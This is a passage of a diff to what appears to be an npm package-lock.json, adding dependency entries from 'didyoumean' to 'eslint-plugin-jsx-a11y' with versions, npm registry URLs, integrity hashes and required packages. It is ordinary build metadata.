+        "acorn-node": "^1.8.2",
+        "defined": "^1.0.0",
+        "minimist": "^1.2.6"
+      }
+    },
+    "didyoumean": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="
+    },
+    "diff-sequences": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-24.9.0.tgz",
+      "integrity": "sha512-Dj6Wk3tWyTE+Fo1rW8v0Xhwk80um6yFYKbuAxc9c3EZxIHFDYwbi34Uk42u1CdnIiVorvt4RmlSDjIPyzGC2ew=="
+    },
+    "dir-glob": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+      "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "requires": {
+        "path-type": "^4.0.0"
+      }
+    },
+    "dlv": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="
+    },
+    "dns-equal": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz",
+      "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg=="
+    },
+    "dns-packet": {
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.4.0.tgz",
+      "integrity": "sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g==",
+      "requires": {
+        "@leichtgewicht/ip-codec": "^2.0.1"
+      }
+    },
+    "doctrine": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+      "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
+      "requires": {
+        "esutils": "^2.0.2"
+      }
+    },
+    "dom-accessibility-api": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.3.0.tgz",
+      "integrity": "sha512-PzwHEmsRP3IGY4gv/Ug+rMeaTIyTJvadCb+ujYXYeIylbHJezIyNToe8KfEgHTCEYyC+/bUghYOGg8yMGlZ6vA=="
+    },
+    "dom-converter": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
+      "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
+      "requires": {
+        "utila": "~0.4"
+      }
+    },
+    "dom-serializer": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+      "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+      "requires": {
+        "domelementtype": "^2.0.1",
+        "domhandler": "^4.2.0",
+        "entities": "^2.0.0"
+      }
+    },
+    "domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
+    },
+    "domexception": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
+      "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
+      "requires": {
+        "webidl-conversions": "^5.0.0"
+      },
+      "dependencies": {
+        "webidl-conversions": {
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
+          "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA=="
+        }
+      }
+    },
+    "domhandler": {
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
+      "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
+      "requires": {
+        "domelementtype": "^2.2.0"
+      }
+    },
+    "domutils": {
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+      "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+      "requires": {
+        "dom-serializer": "^1.0.1",
+        "domelementtype": "^2.2.0",
+        "domhandler": "^4.2.0"
+      }
+    },
+    "dot-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
+      "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
+      "requires": {
+        "no-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "dotenv": {
+      "version": "10.0.0",
+      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz",
+      "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q=="
+    },
+    "dotenv-expand": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
+      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA=="
+    },
+    "duplexer": {
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
+      "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg=="
+    },
+    "ee-first": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+      "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow=="
+    },
+    "ejs": {
+      "version": "3.1.10",
+      "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
+      "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
+      "requires": {
+        "jake": "^10.8.5"
+      }
+    },
+    "electron-to-chromium": {
+      "version": "1.5.13",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.13.tgz",
+      "integrity": "sha512-lbBcvtIJ4J6sS4tb5TLp1b4LyfCdMkwStzXPyAgVgTRAsep4bvrAGaBOP7ZJtQMNJpSQ9SqG4brWOroNaQtm7Q=="
+    },
+    "emittery": {
+      "version": "0.8.1",
+      "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz",
+      "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg=="
+    },
+    "emoji-regex": {
+      "version": "9.2.2",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="
+    },
+    "emojis-list": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
+      "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q=="
+    },
+    "encodeurl": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+      "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="
+    },
+    "enhanced-resolve": {
+      "version": "5.17.1",
+      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz",
+      "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==",
+      "requires": {
+        "graceful-fs": "^4.2.4",
+        "tapable": "^2.2.0"
+      }
+    },
+    "entities": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+      "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
+    },
+    "error-ex": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
+      "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+      "requires": {
+        "is-arrayish": "^0.2.1"
+      }
+    },
+    "error-stack-parser": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
+      "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
+      "requires": {
+        "stackframe": "^1.3.4"
+      }
+    },
+    "es-abstract": {
+      "version": "1.20.3",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.20.3.tgz",
+      "integrity": "sha512-AyrnaKVpMzljIdwjzrj+LxGmj8ik2LckwXacHqrJJ/jxz6dDDBcZ7I7nlHM0FvEW8MfbWJwOd+yT2XzYW49Frw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "es-to-primitive": "^1.2.1",
+        "function-bind": "^1.1.1",
+        "function.prototype.name": "^1.1.5",
+        "get-intrinsic": "^1.1.3",
+        "get-symbol-description": "^1.0.0",
+        "has": "^1.0.3",
+        "has-property-descriptors": "^1.0.0",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "is-callable": "^1.2.6",
+        "is-negative-zero": "^2.0.2",
+        "is-regex": "^1.1.4",
+        "is-shared-array-buffer": "^1.0.2",
+        "is-string": "^1.0.7",
+        "is-weakref": "^1.0.2",
+        "object-inspect": "^1.12.2",
+        "object-keys": "^1.1.1",
+        "object.assign": "^4.1.4",
+        "regexp.prototype.flags": "^1.4.3",
+        "safe-regex-test": "^1.0.0",
+        "string.prototype.trimend": "^1.0.5",
+        "string.prototype.trimstart": "^1.0.5",
+        "unbox-primitive": "^1.0.2"
+      }
+    },
+    "es-array-method-boxes-properly": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
+      "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA=="
+    },
+    "es-define-property": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.0.tgz",
+      "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==",
+      "requires": {
+        "get-intrinsic": "^1.2.4"
+      }
+    },
+    "es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="
+    },
+    "es-module-lexer": {
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.5.4.tgz",
+      "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw=="
+    },
+    "es-shim-unscopables": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz",
+      "integrity": "sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==",
+      "requires": {
+        "has": "^1.0.3"
+      }
+    },
+    "es-to-primitive": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
+      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
+      "requires": {
+        "is-callable": "^1.1.4",
+        "is-date-object": "^1.0.1",
+        "is-symbol": "^1.0.2"
+      }
+    },
+    "escalade": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="
+    },
+    "escape-html": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+      "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="
+    },
+    "escape-string-regexp": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
+    },
+    "escodegen": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.0.0.tgz",
+      "integrity": "sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==",
+      "requires": {
+        "esprima": "^4.0.1",
+        "estraverse": "^5.2.0",
+        "esutils": "^2.0.2",
+        "optionator": "^0.8.1",
+        "source-map": "~0.6.1"
+      },
+      "dependencies": {
+        "levn": {
+          "version": "0.3.0",
+          "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
+          "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
+          "requires": {
+            "prelude-ls": "~1.1.2",
+            "type-check": "~0.3.2"
+          }
+        },
+        "optionator": {
+          "version": "0.8.3",
+          "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
+          "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
+          "requires": {
+            "deep-is": "~0.1.3",
+            "fast-levenshtein": "~2.0.6",
+            "levn": "~0.3.0",
+            "prelude-ls": "~1.1.2",
+            "type-check": "~0.3.2",
+            "word-wrap": "~1.2.3"
+          }
+        },
+        "prelude-ls": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
+          "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w=="
+        },
+        "type-check": {
+          "version": "0.3.2",
+          "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
+          "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==",
+          "requires": {
+            "prelude-ls": "~1.1.2"
+          }
+        }
+      }
+    },
+    "eslint": {
+      "version": "8.24.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.24.0.tgz",
+      "integrity": "sha512-dWFaPhGhTAiPcCgm3f6LI2MBWbogMnTJzFBbhXVRQDJPkr9pGZvVjlVfXd+vyDcWPA2Ic9L2AXPIQM0+vk/cSQ==",
+      "requires": {
+        "@eslint/eslintrc": "^1.3.2",
+        "@humanwhocodes/config-array": "^0.10.5",
+        "@humanwhocodes/gitignore-to-minimatch": "^1.0.2",
+        "@humanwhocodes/module-importer": "^1.0.1",
+        "ajv": "^6.10.0",
+        "chalk": "^4.0.0",
+        "cross-spawn": "^7.0.2",
+        "debug": "^4.3.2",
+        "doctrine": "^3.0.0",
+        "escape-string-regexp": "^4.0.0",
+        "eslint-scope": "^7.1.1",
+        "eslint-utils": "^3.0.0",
+        "eslint-visitor-keys": "^3.3.0",
+        "espree": "^9.4.0",
+        "esquery": "^1.4.0",
+        "esutils": "^2.0.2",
+        "fast-deep-equal": "^3.1.3",
+        "file-entry-cache": "^6.0.1",
+        "find-up": "^5.0.0",
+        "glob-parent": "^6.0.1",
+        "globals": "^13.15.0",
+        "globby": "^11.1.0",
+        "grapheme-splitter": "^1.0.4",
+        "ignore": "^5.2.0",
+        "import-fresh": "^3.0.0",
+        "imurmurhash": "^0.1.4",
+        "is-glob": "^4.0.0",
+        "js-sdsl": "^4.1.4",
+        "js-yaml": "^4.1.0",
+        "json-stable-stringify-without-jsonify": "^1.0.1",
+        "levn": "^0.4.1",
+        "lodash.merge": "^4.6.2",
+        "minimatch": "^3.1.2",
+        "natural-compare": "^1.4.0",
+        "optionator": "^0.9.1",
+        "regexpp": "^3.2.0",
+        "strip-ansi": "^6.0.1",
+        "strip-json-comments": "^3.1.0",
+        "text-table": "^0.2.0"
+      },
+      "dependencies": {
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "argparse": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+          "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "escape-string-regexp": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+          "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="
+        },
+        "globals": {
+          "version": "13.17.0",
+          "resolved": "https://registry.npmjs.org/globals/-/globals-13.17.0.tgz",
+          "integrity": "sha512-1C+6nQRb1GwGMKm2dH/E7enFAMxGTmGI7/dEdhy/DNelv85w9B72t3uc5frtMNXIbzrarJJ/lTCjcaZwbLJmyw==",
+          "requires": {
+            "type-fest": "^0.20.2"
+          }
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "js-yaml": {
+          "version": "4.1.1",
+          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+          "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
+          "requires": {
+            "argparse": "^2.0.1"
+          }
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        },
+        "type-fest": {
+          "version": "0.20.2",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
+          "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="
+        }
+      }
+    },
+    "eslint-config-react-app": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz",
+      "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==",
+      "requires": {
+        "@babel/core": "^7.16.0",
+        "@babel/eslint-parser": "^7.16.3",
+        "@rushstack/eslint-patch": "^1.1.0",
+        "@typescript-eslint/eslint-plugin": "^5.5.0",
+        "@typescript-eslint/parser": "^5.5.0",
+        "babel-preset-react-app": "^10.0.1",
+        "confusing-browser-globals": "^1.0.11",
+        "eslint-plugin-flowtype": "^8.0.3",
+        "eslint-plugin-import": "^2.25.3",
+        "eslint-plugin-jest": "^25.3.0",
+        "eslint-plugin-jsx-a11y": "^6.5.1",
+        "eslint-plugin-react": "^7.27.1",
+        "eslint-plugin-react-hooks": "^4.3.0",
+        "eslint-plugin-testing-library": "^5.0.1"
+      }
+    },
+    "eslint-import-resolver-node": {
+      "version": "0.3.6",
+      "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.6.tgz",
+      "integrity": "sha512-0En0w03NRVMn9Uiyn8YRPDKvWjxCWkslUEhGNTdGx15RvPJYQ+lbOlqrlNI2vEAs4pDYK4f/HN2TbDmk5TP0iw==",
+      "requires": {
+        "debug": "^3.2.7",
+        "resolve": "^1.20.0"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "3.2.7",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+          "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+          "requires": {
+            "ms": "^2.1.1"
+          }
+        }
+      }
+    },
+    "eslint-module-utils": {
+      "version": "2.7.4",
+      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.7.4.tgz",
+      "integrity": "sha512-j4GT+rqzCoRKHwURX7pddtIPGySnX9Si/cgMI5ztrcqOPtk5dDEeZ34CQVPphnqkJytlc97Vuk05Um2mJ3gEQA==",
+      "requires": {
+        "debug": "^3.2.7"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "3.2.7",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+          "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+          "requires": {
+            "ms": "^2.1.1"
+          }
+        }
+      }
+    },
+    "eslint-plugin-flowtype": {
+      "version": "8.0.3",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz",
+      "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==",
+      "requires": {
+        "lodash": "^4.17.21",
+        "string-natural-compare": "^3.0.1"
+      }
+    },
+    "eslint-plugin-import": {
+      "version": "2.26.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.26.0.tgz",
+      "integrity": "sha512-hYfi3FXaM8WPLf4S1cikh/r4IxnO6zrhZbEGz2b660EJRbuxgpDS5gkCuYgGWg2xxh2rBuIr4Pvhve/7c31koA==",
+      "requires": {
+        "array-includes": "^3.1.4",
+        "array.prototype.flat": "^1.2.5",
+        "debug": "^2.6.9",
+        "doctrine": "^2.1.0",
+        "eslint-import-resolver-node": "^0.3.6",
+        "eslint-module-utils": "^2.7.3",
+        "has": "^1.0.3",
+        "is-core-module": "^2.8.1",
+        "is-glob": "^4.0.3",
+        "minimatch": "^3.1.2",
+        "object.values": "^1.1.5",
+        "resolve": "^1.22.0",
+        "tsconfig-paths": "^3.14.1"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "doctrine": {
+          "version": "2.1.0",
+          "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+          "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+          "requires": {
+            "esutils": "^2.0.2"
+          }
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        }
+      }
+    },
+    "eslint-plugin-jest": {
+      "version": "25.7.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz",
+      "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==",
+      "requires": {
+        "@typescript-eslint/experimental-utils": "^5.0.0"
+      }
+    },
+    "eslint-plugin-jsx-a11y": {
+      "version": "6.6.1",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.6.1.tgz",
